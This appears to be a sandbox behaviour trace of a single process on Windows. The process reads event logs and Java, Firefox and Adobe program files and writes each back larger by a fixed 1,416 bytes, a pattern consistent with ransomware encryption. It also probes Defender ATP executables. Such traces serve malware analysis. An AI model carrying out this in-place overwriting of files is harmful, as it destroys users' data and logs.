File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\jabswitch.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\jabswitch.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\jabswitch.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\jabswitch.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\jabswitch.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\kinit.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\kinit.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\kinit.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\kinit.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\servertool.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\servertool.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\servertool.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\servertool.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\CIEXYZ.pf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\CIEXYZ.pf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\CIEXYZ.pf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\CIEXYZ.pf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\cmm\CIEXYZ.pf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_fr.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_fr.properties, size = 3409, size_out = 3409	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_fr.properties, size = 4825	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash@2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash@2x.gif, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash@2x.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash@2x.gif, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\meta-index, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\meta-index, size = 1461, size_out = 1461	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\meta-index, size = 2877	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiBold.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiBold.ttf, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiBold.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiBold.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaBrightDemiBold.ttf, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\invalid32x32.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\invalid32x32.gif, size = 153, size_out = 153	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\images\cursors\invalid32x32.gif, size = 1569	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\default.jfc, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\default.jfc, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\default.jfc, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\jfr\default.jfc, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\snmp.acl.template, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\snmp.acl.template, size = 3376, size_out = 3376	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\snmp.acl.template, size = 4792	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\blacklisted.certs, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\blacklisted.certs, size = 1253, size_out = 1253	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\security\blacklisted.certs, size = 2669	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\LICENSE, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\LICENSE, size = 40, size_out = 40	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\LICENSE, size = 1456	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini, size = 787, size_out = 787	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\crashreporter-override.ini, size = 2203	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, size = 61440, size_out = 61440	34	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, size = 8192, size_out = 8192	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, size = 16384, size_out = 16384	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, size = 17800	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, size = 61440	34	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\omni.ja, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\fonts\EmojiOneMozilla.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\fonts\EmojiOneMozilla.ttf, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\fonts\EmojiOneMozilla.ttf, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\fonts\EmojiOneMozilla.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\fonts\EmojiOneMozilla.ttf, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\fonts\EmojiOneMozilla.ttf, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\plugin-container.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\plugin-container.exe, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\plugin-container.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\plugin-container.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\plugin-container.exe, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets, size = 4726, size_out = 4726	1	Fn Data
File	Write	filename = C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets, size = 6142	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Config_131491847713900000.json, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Config_131491847713900000.json, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Config_131491847713900000.json, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Config_131491847713900000.json, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Config_131491847713900000.json, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\el-GR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-PH\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\et-EE\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\hr-HR\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\lv-LV\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\20170517_Lock_200.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\20170517_Lock_200.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\20170517_Lock_200.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\20170517_Lock_200.gif, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\20170517_Lock_200.gif, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Win10_Brand.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Win10_Brand.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Win10_Brand.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\Win10_Brand.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\uk-UA\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.006.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.006.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.006.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.006.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.006.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Defender Advanced Threat Protection\SenseSampleUploader.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Security\BrowserCore\BrowserCore.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_Full.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_Full.aapp, size = 369, size_out = 369	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\CPDF_Full.aapp, size = 1785	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\MoreTools.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\MoreTools.aapp, size = 348, size_out = 348	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\MoreTools.aapp, size = 1764	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\COPYING.LGPLv2.1.txt, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\COPYING.LGPLv2.1.txt, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\COPYING.LGPLv2.1.txt, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\COPYING.LGPLv2.1.txt, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AGMGPUOptIn.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AGMGPUOptIn.ini, size = 1727, size_out = 1727	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AGMGPUOptIn.ini, size = 3143	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\LogTransport2.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DropboxStorage.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\DropboxStorage.api, size = 32768, size_out = 32768	1	Fn Data
